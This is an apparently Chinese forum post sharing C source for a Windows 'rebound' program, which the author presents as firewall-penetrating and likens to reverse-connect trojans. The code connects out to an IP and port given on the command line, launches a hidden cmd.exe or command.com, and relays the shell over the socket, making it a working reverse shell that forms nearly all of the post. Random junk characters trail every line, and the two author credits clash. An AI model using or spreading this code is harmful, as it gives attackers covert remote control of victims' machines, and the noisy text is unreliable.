这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 <o3I<ci6
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/* ============================== [:(O`#
Rebound port in Windows NT K
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By wind,2006/7 eFf9T@
===============================*/ q&&"8.w-
#include U&Atgv
#include U=j`RQ 9,
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#pragma comment(lib,"wsock32.lib") >FHx],
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void OutputShell(); :8}Qt^p
SOCKET sClient; Tmu2G/yi
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; G,P
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void main(int argc,char **argv) 6|n3Q$p
{ sGNHA(;
WSADATA stWsaData; vRW;{,d
int nRet; QQ{*j7i)
SOCKADDR_IN stSaiClient,stSaiServer; {g1R?W\LZ
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if(argc != 3) L>WxAeyu1K
{ Bfdfw+
printf("Useage:\n\rRebound DestIP DestPort\n"); _7;G$\^&.
return; LX&O"YY
} yil5aUA
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WSAStartup(MAKEWORD(2,2),&stWsaData); b%"/8rK
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); DoO
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stSaiClient.sin_family = AF_INET; |?^N@
stSaiClient.sin_port = htons(0); *KiY+_8>
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); >j ].`T
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) qM 1ZCt
{ aL;zN%Tw
printf("Bind Socket Failed!\n"); 2sG1Hox
return; ,aP5)ZN-
} U
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stSaiServer.sin_family = AF_INET; =s'H o
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); {|<r7K1<
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); ]c'EJu
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) iK1{SgXrFI
{ 5"!K8
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printf("Connect Error!"); z52F-<
return; (;9fkqm%m
} K%t&aRjS
OutputShell(); +"WNG
} A(BjU:D(Oj
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void OutputShell() [5-IkT0
{ g26_#4 P
char szBuff[1024]; H|j]uLZ
SECURITY_ATTRIBUTES stSecurityAttributes; '|v<^EH
OSVERSIONINFO stOsversionInfo; zT/woiyB`
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; =c#mR" 1
STARTUPINFO stStartupInfo; =)i^E9
char *szShell; QFhyidm=]
PROCESS_INFORMATION stProcessInformation;
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unsigned long lBytesRead; Td7Q%7p:
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); 'h~IbP
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); >}]bKq
stSecurityAttributes.lpSecurityDescriptor = 0; .v+J@Y a
stSecurityAttributes.bInheritHandle = TRUE; aWLA6A+C&
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); tx+P@9M_Aq
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); S}0-2T[
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); =*+f2
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Iw#[K
stStartupInfo.wShowWindow = SW_HIDE; <bhJ >
stStartupInfo.hStdInput = hReadPipe; >nK (
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; RASk=B
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GetVersionEx(&stOsversionInfo); Y}yh6r;i
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switch(stOsversionInfo.dwPlatformId) |@R/JGB^
{ &lzCRRnvt
case 1: tN.BI1nB
szShell = "command.com"; ,5t_}d|3C=
break; @ZV>Cl@%2
default: - \ew,y
szShell = "cmd.exe"; Qch'C0u
break; m)6-D-&7
} =bvLMpa
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); vt(n: Xk
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send(sClient,szMsg,77,0); @&Yl'&pn-R
while(1) !>K=@9NC|.
{ Dp} $q`F[
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); ~ \u>jel
if(lBytesRead) Z~|%asjFE
{ ~W B-WI\
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); O0pXHXSAL
send(sClient,szBuff,lBytesRead,0); *8%uXkM m
} iQCs8hIR
else _qt
{ s6 K~I
lBytesRead=recv(sClient,szBuff,1024,0); v Oo^H
if(lBytesRead<=0) break; P$clSJW
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); ?&U~X)Q
} @fVz
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} K3rsew
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return; pm= s
}